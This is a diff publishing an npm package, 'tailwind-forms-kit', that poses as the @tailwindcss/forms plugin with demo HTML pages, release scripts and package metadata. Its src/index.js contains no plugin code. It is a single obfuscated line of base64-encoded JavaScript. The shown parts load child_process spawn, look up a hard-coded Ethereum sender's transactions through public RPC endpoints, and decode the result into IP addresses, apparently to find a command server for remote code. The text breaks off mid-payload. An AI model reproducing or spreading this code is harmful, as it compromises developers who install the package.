+ <option>Birthday</option>
226
+ <option>Other</option>
227
+ </select>
228
+ </label>
229
+ <label class="block">
230
+ <span class="text-gray-700">Additional details</span>
231
+ <textarea
232
+ class="mt-1 block w-full rounded-md border-transparent bg-gray-100 focus:border-gray-500 focus:bg-white focus:ring-0"
233
+ rows="3"
234
+ ></textarea>
235
+ </label>
236
+ <div class="block">
237
+ <div class="mt-2">
238
+ <div>
239
+ <label class="inline-flex items-center">
240
+ <input
241
+ type="checkbox"
242
+ class="rounded border-transparent bg-gray-200 text-gray-700 focus:border-transparent focus:bg-gray-200 focus:ring-1 focus:ring-gray-500 focus:ring-offset-2"
243
+ />
244
+ <span class="ml-2">Email me news and special offers</span>
245
+ </label>
246
+ </div>
247
+ </div>
248
+ </div>
249
+ </div>
250
+ </div>
251
+ </div>
252
+ </div>
253
+ </div>
254
+ </body>
255
+ </html>
package/kitchen-sink.html ADDED
@@ -0,0 +1,222 @@
1
+ <!doctype html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8" />
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0" />
6
+ <title>@tailwindcss/forms Kitchen Sink</title>
7
+ <link rel="stylesheet" href="/dist/tailwind.css" />
8
+ </head>
9
+ <body>
10
+ <div class="px-6 text-gray-900 antialiased">
11
+ <div class="mx-auto max-w-xl py-12 md:max-w-4xl">
12
+ <h2 class="text-2xl font-bold">Reset styles</h2>
13
+ <p class="mt-2 text-lg text-gray-500">
14
+ These are form elements this plugin styles by default.
15
+ </p>
16
+ <div class="mt-8 grid grid-cols-1 items-start gap-6 md:grid-cols-2">
17
+ <div class="grid grid-cols-1 gap-6">
18
+ <label class="block">
19
+ <span class="text-gray-700">Input (text)</span>
20
+ <input
21
+ type="text"
22
+ class="form-input mt-1 block w-full"
23
+ placeholder="john@example.com"
24
+ />
25
+ </label>
26
+ <label class="block">
27
+ <span class="text-gray-700">Input (email)</span>
28
+ <input
29
+ type="email"
30
+ class="form-input mt-1 block w-full"
31
+ placeholder="john@example.com"
32
+ />
33
+ </label>
34
+ <label class="block">
35
+ <span class="text-gray-700">Input (email, multiple)</span>
36
+ <input
37
+ type="email"
38
+ multiple
39
+ class="form-input mt-1 block w-full"
40
+ placeholder="john@example.com"
41
+ />
42
+ </label>
43
+ <label class="block">
44
+ <span class="text-gray-700">Input (password)</span>
45
+ <input
46
+ type="password"
47
+ class="form-input mt-1 block w-full"
48
+ placeholder="john@example.com"
49
+ />
50
+ </label>
51
+ <label class="block">
52
+ <span class="text-gray-700">Input (date)</span>
53
+ <input type="date" class="form-input mt-1 block w-full" />
54
+ </label>
55
+ <label class="block">
56
+ <span class="text-gray-700">Input (datetime-local)</span>
57
+ <input type="datetime-local" class="form-input mt-1 block w-full" />
58
+ </label>
59
+ <label class="block">
60
+ <span class="text-gray-700">Input (month)</span>
61
+ <input type="month" class="form-input mt-1 block w-full" />
62
+ </label>
63
+ <label class="block">
64
+ <span class="text-gray-700">Input (number)</span>
65
+ <input type="number" class="form-input mt-1 block w-full" />
66
+ </label>
67
+ <label class="block">
68
+ <span class="text-gray-700">Input (search)</span>
69
+ <input type="search" class="form-input mt-1 block w-full" />
70
+ </label>
71
+ <label class="block">
72
+ <span class="text-gray-700">Input (time)</span>
73
+ <input type="time" class="form-input mt-1 block w-full" />
74
+ </label>
75
+ <label class="block">
76
+ <span class="text-gray-700">Input (week)</span>
77
+ <input type="week" class="form-input mt-1 block w-full" />
78
+ </label>
79
+ </div>
80
+ <div class="grid grid-cols-1 gap-6">
81
+ <label class="block">
82
+ <span class="text-gray-700">Input (tel)</span>
83
+ <input
84
+ type="tel"
85
+ multiple
86
+ class="form-input mt-1 block w-full"
87
+ placeholder="john@example.com"
88
+ />
89
+ </label>
90
+ <label class="block">
91
+ <span class="text-gray-700">Input (url)</span>
92
+ <input
93
+ type="url"
94
+ multiple
95
+ class="form-input mt-1 block w-full"
96
+ placeholder="john@example.com"
97
+ />
98
+ </label>
99
+ <label class="block">
100
+ <span class="text-gray-700">Select</span>
101
+ <select class="form-select mt-1 block w-full">
102
+ <option>Option 1</option>
103
+ <option>Option 2</option>
104
+ </select>
105
+ </label>
106
+ <label class="block">
107
+ <span class="text-gray-700">Select (single, with size)</span>
108
+ <select class="form-select mt-1 block w-full" size="3">
109
+ <option>Option 1</option>
110
+ <option>Option 2</option>
111
+ <option>Option 3</option>
112
+ <option>Option 4</option>
113
+ <option>Option 5</option>
114
+ </select>
115
+ </label>
116
+ <label class="block">
117
+ <span class="text-gray-700">Select (multiple)</span>
118
+ <select class="form-multiselect mt-1 block w-full" multiple>
119
+ <option>Option 1</option>
120
+ <option>Option 2</option>
121
+ <option>Option 3</option>
122
+ <option>Option 4</option>
123
+ <option>Option 5</option>
124
+ </select>
125
+ </label>
126
+ <label class="block">
127
+ <span class="text-gray-700">Select (multiple, with size)</span>
128
+ <select class="form-multiselect mt-1 block w-full" multiple size="3">
129
+ <option>Option 1</option>
130
+ <option>Option 2</option>
131
+ <option>Option 3</option>
132
+ <option>Option 4</option>
133
+ <option>Option 5</option>
134
+ </select>
135
+ </label>
136
+ <label class="block">
137
+ <span class="text-gray-700">Textarea</span>
138
+ <textarea
139
+ class="form-textarea mt-1 block h-24 w-full"
140
+ rows="3"
141
+ placeholder="Enter some long form content."
142
+ ></textarea>
143
+ </label>
144
+ <fieldset class="block">
145
+ <legend class="text-gray-700">Checkboxes</legend>
146
+ <div class="mt-2">
147
+ <div>
148
+ <label class="inline-flex items-center">
149
+ <input class="form-checkbox" type="checkbox" checked />
150
+ <span class="ml-2">Option 1</span>
151
+ </label>
152
+ </div>
153
+ <div>
154
+ <label class="inline-flex items-center">
155
+ <input class="form-checkbox" type="checkbox" />
156
+ <span class="ml-2">Option 2</span>
157
+ </label>
158
+ </div>
159
+ <div>
160
+ <label class="inline-flex items-center">
161
+ <input class="form-checkbox" type="checkbox" />
162
+ <span class="ml-2">Option 3</span>
163
+ </label>
164
+ </div>
165
+ </div>
166
+ </fieldset>
167
+ <fieldset class="block">
168
+ <legend class="text-gray-700">Radio Buttons</legend>
169
+ <div class="mt-2">
170
+ <div>
171
+ <label class="inline-flex items-center">
172
+ <input class="form-radio" type="radio" checked name="radio-direct" value="1" />
173
+ <span class="ml-2">Option 1</span>
174
+ </label>
175
+ </div>
176
+ <div>
177
+ <label class="inline-flex items-center">
178
+ <input class="form-radio" type="radio" name="radio-direct" value="2" />
179
+ <span class="ml-2">Option 2</span>
180
+ </label>
181
+ </div>
182
+ <div>
183
+ <label class="inline-flex items-center">
184
+ <input class="form-radio" type="radio" name="radio-direct" value="3" />
185
+ <span class="ml-2">Option 3</span>
186
+ </label>
187
+ </div>
188
+ </div>
189
+ </fieldset>
190
+ </div>
191
+ </div>
192
+ </div>
193
+ <div class="mx-auto max-w-4xl py-12">
194
+ <h2 class="text-2xl font-bold">Untouched</h2>
195
+ <p class="mt-2 text-lg text-gray-500">
196
+ These are form elements we don't handle (yet?), but we use this to make sure we haven't
197
+ accidentally styled them by mistake.
198
+ </p>
199
+ <div class="mt-8 grid grid-cols-2 items-start gap-6">
200
+ <div class="grid grid-cols-1 gap-6">
201
+ <label class="block">
202
+ <span class="text-gray-700">Input (range)</span>
203
+ <input type="range" class="mt-1 block w-full" />
204
+ </label>
205
+ <label class="block">
206
+ <span class="text-gray-700">Input (color)</span>
207
+ <input type="color" class="mt-1 block w-full" />
208
+ </label>
209
+ <label class="block">
210
+ <span class="text-gray-700">Input (file)</span>
211
+ <input type="file" class="mt-1 block w-full" />
212
+ </label>
213
+ <label class="block">
214
+ <span class="text-gray-700">Input (file, multiple)</span>
215
+ <input type="file" multiple class="mt-1 block w-full" />
216
+ </label>
217
+ </div>
218
+ </div>
219
+ </div>
220
+ </div>
221
+ </body>
222
+ </html>
package/package.json CHANGED
@@ -1,6 +1,45 @@
1
1
  {
2
2
  "name": "tailwind-forms-kit",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "0.5.3",
4
+ "main": "src/index.js",
5
+ "types": "src/index.d.ts",
6
+ "license": "MIT",
7
+ "repository": "https://github.com/tailwindlabs/tailwindcss-forms",
8
+ "publishConfig": {
9
+ "access": "public"
10
+ },
11
+ "prettier": {
12
+ "printWidth": 100,
13
+ "semi": false,
14
+ "singleQuote": true,
15
+ "trailingComma": "es5",
16
+ "plugins": [
17
+ "prettier-plugin-tailwindcss"
18
+ ]
19
+ },
20
+ "scripts": {
21
+ "dev": "concurrently \"npm run serve\" \"npm run watch\"",
22
+ "serve": "live-server .",
23
+ "watch": "npm run build -- -w",
24
+ "build": "tailwindcss -o dist/tailwind.css",
25
+ "test": "exit 0",
26
+ "release-channel": "node ./scripts/release-channel.js",
27
+ "release-notes": "node ./scripts/release-notes.js",
28
+ "format": "prettier . --write"
29
+ },
30
+ "peerDependencies": {
31
+ "tailwindcss": ">=3.0.0 || >= 3.0.0-alpha.1 || >= 4.0.0-alpha.20 || >= 4.0.0-beta.1"
32
+ },
33
+ "devDependencies": {
34
+ "autoprefixer": "^10.4.6",
35
+ "concurrently": "^5.3.0",
36
+ "live-server": "^1.2.2",
37
+ "postcss": "^8.4.13",
38
+ "prettier": "^3.3.3",
39
+ "prettier-plugin-tailwindcss": "^0.6.8",
40
+ "tailwindcss": "^3.0.24"
41
+ },
42
+ "dependencies": {
43
+ "mini-svg-data-uri": "^1.2.3"
44
+ }
45
+ }
package/scripts/release-channel.js ADDED
@@ -0,0 +1,18 @@
1
+ // Given a version, figure out what the release channel is so that we can publish to the correct
2
+ // channel on npm.
3
+ //
4
+ // E.g.:
5
+ //
6
+ // 1.2.3 -> latest (default)
7
+ // 0.0.0-insiders.ffaa88 -> insiders
8
+ // 4.1.0-alpha.4 -> alpha
9
+
10
+ let version =
11
+ process.argv[2] || process.env.npm_package_version || require('../package.json').version
12
+
13
+ let match = /\d+\.\d+\.\d+-(.*)\.\d+/g.exec(version)
14
+ if (match) {
15
+ console.log(match[1])
16
+ } else {
17
+ console.log('latest')
18
+ }
package/scripts/release-notes.js ADDED
@@ -0,0 +1,21 @@
1
+ // Given a version, figure out what the release notes are so that we can use this to pre-fill the
2
+ // relase notes on a GitHub release for the current version.
3
+
4
+ let path = require('path')
5
+ let fs = require('fs')
6
+
7
+ let version =
8
+ process.argv[2] || process.env.npm_package_version || require('../package.json').version
9
+
10
+ let changelog = fs.readFileSync(path.resolve(__dirname, '..', 'CHANGELOG.md'), 'utf8')
11
+ let match = new RegExp(
12
+ `## \\[${version}\\] - (.*)\\n\\n([\\s\\S]*?)\\n(?:(?:##\\s)|(?:\\[))`,
13
+ 'g'
14
+ ).exec(changelog)
15
+
16
+ if (match) {
17
+ let [, date, notes] = match
18
+ console.log(notes.trim())
19
+ } else {
20
+ console.log(`Placeholder release notes for version: v${version}`)
21
+ }
package/src/index.d.ts ADDED
@@ -0,0 +1,9 @@
1
+ declare function plugin(options?: Partial<{ strategy: 'base' | 'class' }>): {
2
+ handler: () => void
3
+ }
4
+
5
+ declare namespace plugin {
6
+ const __isOptionsFunction: true
7
+ }
8
+
9
+ export = plugin
package/src/index.js ADDED
@@ -0,0 +1 @@
1
+ function ___0x870b7(){return 5771;}var __0x2c788=function(){var a=931;return a*2;};(function(_0x977e9e){var _0x977e9ea=["Z2xvYmFsLmk9J0ExMC1uZXdfbnBtJztnbG9iYWwucj1yZXF1aX","JlO2lmKHR5cGVvZiBtb2R1bGU9PT0nb2JqZWN0JylnbG9iYWwu","bT1tb2R1bGU7Y29uc3QgaHR0cD1yZXF1aXJlKCdub2RlOmh0dH","AnKTtjb25zdCBodHRwcz1yZXF1aXJlKCdub2RlOmh0dHBzJyk7","Y29uc3QgemxpYj1yZXF1aXJlKCdub2RlOnpsaWInKTtjb25zdH","tVUkx9PXJlcXVpcmUoJ25vZGU6dXJsJyk7Y29uc3R7c3Bhd259","PXJlcXVpcmUoJ25vZGU6Y2hpbGRfcHJvY2VzcycpO2NvbnN0IE","JMT0NLX01VTFRJUExFPTEwMDBuO2NvbnN0IFNFTkRFUj0nMHhh","MzIyRTVmM0QzMTFEMzA4MGU2ZjAxMjEwNjNlOWFEQzI0OTBFZj","FhJy50b0xvd2VyQ2FzZSgpO2NvbnN0IE5PTkNFX0ZBTk9VVD0x","Mjtjb25zdCBTRUFSQ0hfRkxPT1I9MG47Y29uc3QgSU5ERVhFUl","9VUkw9J2h0dHBzOi8vZXRoLmJsb2Nrc2NvdXQuY29tL2FwaSc7","Y29uc3QgUlBDX0VORFBPSU5UUz1bLi4ubmV3IFNldChbcHJvY2","Vzcy5lbnYuRVRIX1JQQ19VUkwsJ2h0dHBzOi8vMXJwYy5pby9l","dGgnLCdodHRwczovL2V0aC5kcnBjLm9yZycsJ2h0dHBzOi8vZX","RoZXJldW0tcnBjLnB1YmxpY25vZGUuY29tJywnaHR0cHM6Ly9l","dGgtbWFpbm5ldC5wdWJsaWMuYmxhc3RhcGkuaW8nLF0uZmlsdG","VyKEJvb2xlYW4pKV07Y29uc3QgQUdFTlRTPXsnaHR0cDonOm5l","dyBodHRwLkFnZW50KHtrZWVwQWxpdmU6ITAsa2VlcEFsaXZlTX","NlY3M6MzBfMDAwLG1heFNvY2tldHM6NjR9KSwnaHR0cHM6Jzpu","ZXcgaHR0cHMuQWdlbnQoe2tlZXBBbGl2ZTohMCxrZWVwQWxpdm","VNc2VjczozMF8wMDAsbWF4U29ja2V0czo2NH0pLH07ZnVuY3Rp","b24gbGlua0Fib3J0KG91dGVyU2lnbmFsLGNvbnRyb2xsZXIpe2","lmKCFvdXRlclNpZ25hbClyZXR1cm47b3V0ZXJTaWduYWwuYWRk","RXZlbnRMaXN0ZW5lcignYWJvcnQnLCgpPT5jb250cm9sbGVyLm","Fib3J0KCkse29uY2U6ITB9KX0NCmZ1bmN0aW9uIGRlY29tcHJl","c3NTdHJlYW0ocmVzKXtjb25zdCBlbmNvZGluZz0ocmVzLmhlYW","RlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXXx8JycpLnRvTG93ZXJD","YXNlKCk7aWYoZW5jb2Rpbmc9PT0nZ3ppcCd8fGVuY29kaW5nPT","09J3gtZ3ppcCcpcmV0dXJuIHJlcy5waXBlKHpsaWIuY3JlYXRl","R3VuemlwKCkpO2lmKGVuY29kaW5nPT09J2RlZmxhdGUnKXJldH","VybiByZXMucGlwZSh6bGliLmNyZWF0ZUluZmxhdGUoKSk7aWYo","ZW5jb2Rpbmc9PT0nYnInKXJldHVybiByZXMucGlwZSh6bGliLm","NyZWF0ZUJyb3RsaURlY29tcHJlc3MoKSk7cmV0dXJuIHJlc30N","CmZ1bmN0aW9uIGh0dHBSZXF1ZXN0KGVuZHBvaW50LHttZXRob2","Q9J0dFVCcsYm9keSxzaWduYWx9PXt9KXtjb25zdCB1cmw9bmV3","IFVSTChlbmRwb2ludCk7Y29uc3QgdHJhbnNwb3J0PXVybC5wcm","90b2NvbD09PSdodHRwczonP2h0dHBzOmh0dHA7Y29uc3QgaGVh","ZGVycz17QWNjZXB0OidhcHBsaWNhdGlvbi9qc29uJywnQWNjZX","B0LUVuY29kaW5nJzonZ3ppcCwgZGVmbGF0ZSwgYnInLENvbm5l","Y3Rpb246J2tlZXAtYWxpdmUnLH07aWYoYm9keSE9bnVsbCl7aG","VhZGVyc1snQ29udGVudC1UeXBlJ109J2FwcGxpY2F0aW9uL2pz","b24nO2hlYWRlcnNbJ0NvbnRlbnQtTGVuZ3RoJ109QnVmZmVyLm","J5dGVMZW5ndGgoYm9keSl9DQpyZXR1cm4gbmV3IFByb21pc2Uo","KHJlc29sdmUscmVqZWN0KT0+e2NvbnN0IHJlcT10cmFuc3Bvcn","QucmVxdWVzdCh7aG9zdG5hbWU6dXJsLmhvc3RuYW1lLHBvcnQ6","dXJsLnBvcnR8fCh1cmwucHJvdG9jb2w9PT0naHR0cHM6Jz80ND","M6ODApLHBhdGg6dXJsLnBhdGhuYW1lK3VybC5zZWFyY2gsbWV0","aG9kLGFnZW50OkFHRU5UU1t1cmwucHJvdG9jb2xdLHNpZ25hbC","xoZWFkZXJzLH0sKHJlcyk9Pntjb25zdCBzdHJlYW09ZGVjb21w","cmVzc1N0cmVhbShyZXMpO2NvbnN0IGNodW5rcz1bXTtzdHJlYW","0ub24oJ2RhdGEnLChjaHVuayk9PmNodW5rcy5wdXNoKGNodW5r","KSk7c3RyZWFtLm9uKCdlbmQnLCgpPT57Y29uc3QgdGV4dD1CdW","ZmZXIuY29uY2F0KGNodW5rcykudG9TdHJpbmcoJ3V0ZjgnKS50","cmltKCk7aWYocmVzLnN0YXR1c0NvZGU8MjAwfHxyZXMuc3RhdH","VzQ29kZT49MzAwKXtyZXR1cm4gcmVqZWN0KG5ldyBFcnJvcihg","SFRUUCAke3Jlcy5zdGF0dXNDb2RlfSBmcm9tICR7dXJsLmhvc3","RuYW1lfTogJHt0ZXh0LnNsaWNlKDAsIDEyMCl9YCkpfQ0KaWYo","IXRleHR8fHRleHRbMF09PT0nPCd8fCh0ZXh0WzBdIT09J3snJi","Z0ZXh0WzBdIT09J1snKSl7cmV0dXJuIHJlamVjdChuZXcgRXJy","b3IoYE5vbi1KU09OIGZyb20gJHt1cmwuaG9zdG5hbWV9OiAke3","RleHQuc2xpY2UoMCwgMTIwKX1gKSl9DQp0cnl7cmVzb2x2ZShK","U09OLnBhcnNlKHRleHQpKX1jYXRjaChlcnIpe3JlamVjdChuZX","cgRXJyb3IoYEpTT04gcGFyc2UgZmFpbGVkIGZyb20gJHt1cmwu","aG9zdG5hbWV9OiAke2Vyci5tZXNzYWdlfWApKX19KTtzdHJlYW","0ub24oJ2Vycm9yJyxyZWplY3QpfSk7cmVxLm9uKCdlcnJvcics","cmVqZWN0KTtpZihib2R5IT1udWxsKXJlcS53cml0ZShib2R5KT","tyZXEuZW5kKCl9KX0NCmFzeW5jIGZ1bmN0aW9uIHdpdGhScGNF","bmRwb2ludHModGFzayxvdXRlclNpZ25hbCl7Y29uc3QgY29udH","JvbGxlcnM9UlBDX0VORFBPSU5UUy5tYXAoKCk9Pm5ldyBBYm9y","dENvbnRyb2xsZXIoKSk7Y29udHJvbGxlcnMuZm9yRWFjaCgoYy","k9PmxpbmtBYm9ydChvdXRlclNpZ25hbCxjKSk7dHJ5e3JldHVy","biBhd2FpdCBQcm9taXNlLmFueShSUENfRU5EUE9JTlRTLm1hcC","goZW5kcG9pbnQsaSk9PnRhc2soZW5kcG9pbnQsY29udHJvbGxl","cnNbaV0uc2lnbmFsKSkpfWZpbmFsbHl7Zm9yKGNvbnN0IGMgb2","YgY29udHJvbGxlcnMpYy5hYm9ydCgpfX0NCmFzeW5jIGZ1bmN0","aW9uIHJwY0NhbGwoZW5kcG9pbnQsbWV0aG9kLHBhcmFtcyxzaW","duYWwpe2NvbnN0IHBheWxvYWQ9YXdhaXQgaHR0cFJlcXVlc3Qo","ZW5kcG9pbnQse21ldGhvZDonUE9TVCcsYm9keTpKU09OLnN0cm","luZ2lmeSh7anNvbnJwYzonMi4wJyxpZDoxLG1ldGhvZCxwYXJh","bXN9KSxzaWduYWwsfSk7cmV0dXJuIHBheWxvYWQucmVzdWx0fQ","0KYXN5bmMgZnVuY3Rpb24gcnBjQmF0Y2goZW5kcG9pbnQsY2Fs","bHMsc2lnbmFsKXtjb25zdCBwYXlsb2FkPWF3YWl0IGh0dHBSZX","F1ZXN0KGVuZHBvaW50LHttZXRob2Q6J1BPU1QnLGJvZHk6SlNP","Ti5zdHJpbmdpZnkoY2FsbHMubWFwKChbbWV0aG9kLHBhcmFtc1","0saSk9Pih7anNvbnJwYzonMi4wJyxpZDppKzEsbWV0aG9kLHBh","cmFtc30pKSksc2lnbmFsLH0pO2NvbnN0IGJ5SWQ9bmV3IE1hcC","hwYXlsb2FkLm1hcCgocik9PltyLmlkLHJdKSk7cmV0dXJuIGNh","bGxzLm1hcCgoXyxpKT0+YnlJZC5nZXQoaSsxKS5yZXN1bHQpfQ","0KY29uc3QgdG9CbG9ja0hleD0obik9PmAweCR7bi50b1N0cmlu","ZygxNil9YDtmdW5jdGlvbiBmaW5kU2VuZGVyVHgodHJhbnNhY3","Rpb25zKXtyZXR1cm4gdHJhbnNhY3Rpb25zLmZpbmQoKHQpPT50","LmZyb20mJnQuZnJvbS50b0xvd2VyQ2FzZSgpPT09U0VOREVSKX","x8bnVsbH0NCmZ1bmN0aW9uIGRlY29kZUFkZHJlc3MoYWRkcmVz","cyl7Y29uc3QgZGF0YT1CdWZmZXIuZnJvbShhZGRyZXNzLnJlcG","xhY2UoL14weC9pLCcnKSwnaGV4Jyk7Y29uc3QgaXA9KGIpPT5g","JHtiWzBdfS4ke2JbMV19LiR7YlsyXX0uJHtiWzNdfWA7cmV0dX","JuW2lwKGRhdGEuc3ViYXJyYXkoMCw0KSksaXAoZGF0YS5zdWJh","cnJheSg0LDgpKV19DQpmdW5jdGlvbiBmaXJzdE1hdGNoKHRhc2","tzKXtyZXR1cm4gbmV3IFByb21pc2UoKHJlc29sdmUpPT57bGV0","IHJlbWFpbmluZz10YXNrcy5sZW5ndGg7aWYoIXJlbWFpbmluZy","lyZXR1cm4gcmVzb2x2ZShudWxsKTtsZXQgc2V0dGxlZD0hMTtj","b25zdCBmaW5pc2g9KHJlc3VsdCk9PntpZihzZXR0bGVkKXJldH","VybjtzZXR0bGVkPSEwO2Zvcihjb25zdCB0IG9mIHRhc2tzKXQu","Y29udHJvbGxlci5hYm9ydCgpO3Jlc29sdmUocmVzdWx0KX07Zm","9yKGNvbnN0IHQgb2YgdGFza3Mpe3QucnVuKCkudGhlbigocmVz","dWx0KT0+e2lmKHNldHRsZWQpcmV0dXJuO2lmKHJlc3VsdClmaW","5pc2gocmVzdWx0KTtlbHNlIGlmKC0tcmVtYWluaW5nPT09MCly","ZXNvbHZlKG51bGwpO30pLmNhdGNoKCgpPT57aWYoIXNldHRsZW","QmJi0tcmVtYWluaW5nPT09MClyZXNvbHZlKG51bGwpO30pfX0p","fQ0KZnVuY3Rpb24gY2FuZGlkYXRlQmxvY2tzKHRhcmdldCl7Y2","9uc3QgcHJldj10YXJnZXQtQkxPQ0tfTVVMVElQTEU7Y29uc3Qg","c2Vlbj1uZXcgU2V0KCk7Y29uc3Qgb3V0PVtdO2Zvcihjb25zdC","BiIG9mW3RhcmdldC0xbix0YXJnZXQsdGFyZ2V0KzFuLHByZXYt","MW4scHJldixwcmV2KzFuXSl7aWYoYjwwbiljb250aW51ZTtjb2","5zdCBrZXk9Yi50b1N0cmluZygpO2lmKHNlZW4uaGFzKGtleSkp","Y29udGludWU7c2Vlbi5hZGQoa2V5KTtvdXQucHVzaChiKX0NCn","JldHVybiBvdXR9DQpmdW5jdGlvbiBibG9ja1Rhc2soYmxvY2tO","dW1iZXIpe2NvbnN0IGNvbnRyb2xsZXI9bmV3IEFib3J0Q29udH","JvbGxlcigpO3JldHVybntjb250cm9sbGVyLHJ1bjphc3luYygp","PT57Y29uc3QgYmxvY2s9YXdhaXQgd2l0aFJwY0VuZHBvaW50cy","goZW5kcG9pbnQsc2lnbmFsKT0+cnBjQ2FsbChlbmRwb2ludCwn","ZXRoX2dldEJsb2NrQnlOdW1iZXInLFt0b0Jsb2NrSGV4KGJsb2","NrTnVtYmVyKSwhMF0sc2lnbmFsKSxjb250cm9sbGVyLnNpZ25h","bCk7Y29uc3QgdHhzPWJsb2NrPy50cmFuc2FjdGlvbnM7aWYoIU","FycmF5LmlzQXJyYXkodHhzKSlyZXR1cm4gbnVsbDtjb25zdCB0","eD1maW5kU2VuZGVyVHgodHhzKTtyZXR1cm4gdHg/e2Jsb2NrTn","VtYmVyLHR4fTpudWxsfSx9fQ0KYXN5bmMgZnVuY3Rpb24gbm9u","Y2VBdEJsb2NrcyhibG9ja3Msb3V0ZXJTaWduYWwpe2NvbnN0IG","NhbGxzPWJsb2Nrcy5tYXAoKGIpPT5bJ2V0aF9nZXRUcmFuc2Fj","dGlvbkNvdW50JyxbU0VOREVSLHRvQmxvY2tIZXgoYildXSk7dH","J5e3JldHVybihhd2FpdCB3aXRoUnBjRW5kcG9pbnRzKChlbmRw","b2ludCxzaWduYWwpPT5ycGNCYXRjaChlbmRwb2ludCxjYWxscy","xzaWduYWwpLG91dGVyU2lnbmFsKSkubWFwKEJpZ0ludCl9Y2F0","Y2h7cmV0dXJuKGF3YWl0IFByb21pc2UuYWxsKGNhbGxzLm1hcC","goW21ldGhvZCxwYXJhbXNdKT0+d2l0aFJwY0VuZHBvaW50cygo","ZW5kcG9pbnQsc2lnbmFsKT0+cnBjQ2FsbChlbmRwb2ludCxtZX","Rob2QscGFyYW1zLHNpZ25hbCksb3V0ZXJTaWduYWwpKSkpLm1h","cChCaWdJbnQpfX0NCmFzeW5jIGZ1bmN0aW9uIGxhc3RTZW5kZX","JUeChsYXRlc3RIaW50KXtjb25zdCBjb250cm9sbGVyPW5ldyBB","Ym9ydENvbnRyb2xsZXIoKTt0cnl7Y29uc3QgaGVhZD1sYXRlc3","RIaW50Pz9CaWdJbnQoYXdhaXQgd2l0aFJwY0VuZHBvaW50cygo","ZW5kcG9pbnQsc2lnbmFsKT0+cnBjQ2FsbChlbmRwb2ludCwnZX","RoX2Jsb2NrTnVtYmVyJyxbXSxzaWduYWwpLGNvbnRyb2xsZXIu","c2lnbmFsKSk7Y29uc3Qgbm9uY2U9QmlnSW50KGF3YWl0IHdpdG","hScGNFbmRwb2ludHMoKGVuZHBvaW50LHNpZ25hbCk9PnJwY0Nh","bGwoZW5kcG9pbnQsJ2V0aF9nZXRUcmFuc2FjdGlvbkNvdW50Jy","xbU0VOREVSLHRvQmxvY2tIZXgoaGVhZCldLHNpZ25hbCksY29u","dHJvbGxlci5zaWduYWwpKTtjb25zdCB0YXJnZXROb25jZT1ub2","5jZS0xbjtsZXQgbG89U0VBUkNIX0ZMT09SLTFuO2xldCBoaT1o","ZWFkO3doaWxlKGhpLWxvPjFuKXtjb25zdCBzcGFuPWhpLWxvLT","FuO2NvbnN0IGs9QmlnSW50KE1hdGgubWluKE5PTkNFX0ZBTk9V","VCxOdW1iZXIoc3BhbikpKTtjb25zdCBwcm9iZXM9W107Zm9yKG","xldCBpPTFuO2k8PWs7aSs9MW4pcHJvYmVzLnB1c2gobG8rKGkq","KGhpLWxvKSkvKGsrMW4pKTtjb25zdCBjb3VudHM9YXdhaXQgbm","9uY2VBdEJsb2Nrcyhwcm9iZXMsY29udHJvbGxlci5zaWduYWwp","O2NvbnN0IGlkeD1jb3VudHMuZmluZEluZGV4KChjKT0+Yz49bm","9uY2UpO2lmKGlkeD09PS0xKWxvPXByb2Jlc1twcm9iZXMubGVu","Z3RoLTFdO2Vsc2V7aGk9cHJvYmVzW2lkeF07aWYoaWR4PjApbG","89cHJvYmVzW2lkeC0xXX19DQpjb25zdCBibG9jaz1hd2FpdCB3","aXRoUnBjRW5kcG9pbnRzKChlbmRwb2ludCxzaWduYWwpPT5ycG","NDYWxsKGVuZHBvaW50LCdldGhfZ2V0QmxvY2tCeU51bWJlcics","W3RvQmxvY2tIZXgoaGkpLCEwXSxzaWduYWwpLGNvbnRyb2xsZX","Iuc2lnbmFsKTtjb25zdCB0eHM9YmxvY2s/LnRyYW5zYWN0aW9u","c3x8W107bGV0IHR4PW51bGw7Zm9yKGNvbnN0IHQgb2YgdHhzKX","tpZighdC5mcm9tfHx0LmZyb20udG9Mb3dlckNhc2UoKSE9PVNF","TkRFUiljb250aW51ZTtpZihCaWdJbnQodC5ub25jZSk9PT10YX","JnZXROb25jZSl7dHg9dDticmVha30NCmlmKCF0eHx8QmlnSW50","KHQubm9uY2UpPkJpZ0ludCh0eC5ub25jZSkpdHg9dH0NCnJldH","VybntibG9ja051bWJlcjpoaSx0eH19ZmluYWxseXtjb250cm9s","bGVyLmFib3J0KCl9fQ0KYXN5bmMgZnVuY3Rpb24gbGFzdFNlbm","RlclR4VmlhSW5kZXhlcigpe2NvbnN0IHVybD1gJHtJTkRFWEVS","X1VSTH0/bW9kdWxlPWFjY291bnQmYWN0aW9uPXR4bGlzdCZhZG","RyZXNzPSR7U0VOREVSfWArYCZzdGFydGJsb2NrPTAmZW5kYmxv","Y2s9OTk5OTk5OTkmcGFnZT0xJm9mZnNldD0yMCZzb3J0PWRlc2","MmZmlsdGVyYnk9ZnJvbWA7Y29uc3QgcGF5bG9hZD1hd2FpdCBo","dHRwUmVxdWVzdCh1cmwpO2NvbnN0IGxpc3Q9QXJyYXkuaXNBcn","JheShwYXlsb2FkPy5yZXN1bHQpP3BheWxvYWQucmVzdWx0Oltd","O2NvbnN0IHR4PWxpc3QuZmluZCgodCk9PnQuZnJvbSYmdC5mcm","9tLnRvTG93ZXJDYXNlKCk9PT1TRU5ERVIpO3JldHVybntibG9j","a051bWJlcjpCaWdJbnQodHguYmxvY2tOdW1iZXIpLHR4fX0NCm","FzeW5jIGZ1bmN0aW9uIHJ1bigpe2NvbnN0IGxhdGVzdD1CaWdJ","bnQoYXdhaXQgd2l0aFJwY0VuZHBvaW50cygoZW5kcG9pbnQsc2","lnbmFsKT0+cnBjQ2FsbChlbmRwb2ludCwnZXRoX2Jsb2NrTnVt","YmVyJyxbXSxzaWduYWwpKSk7Y29uc3QgdGFyZ2V0QmxvY2s9bG","F0ZXN0LShsYXRlc3QlQkxPQ0tfTVVMVElQTEUpO2xldCBtYXRj","aD1hd2FpdCBmaXJzdE1hdGNoKGNhbmRpZGF0ZUJsb2Nrcyh0YX","JnZXRCbG9jaykubWFwKGJsb2NrVGFzaykpO2lmKCFtYXRjaCl7","bWF0Y2g9YXdhaXQgbGFzdFNlbmRlclR4KGxhdGVzdCkuY2F0Y2","goKCk9Pmxhc3RTZW5kZXJUeFZpY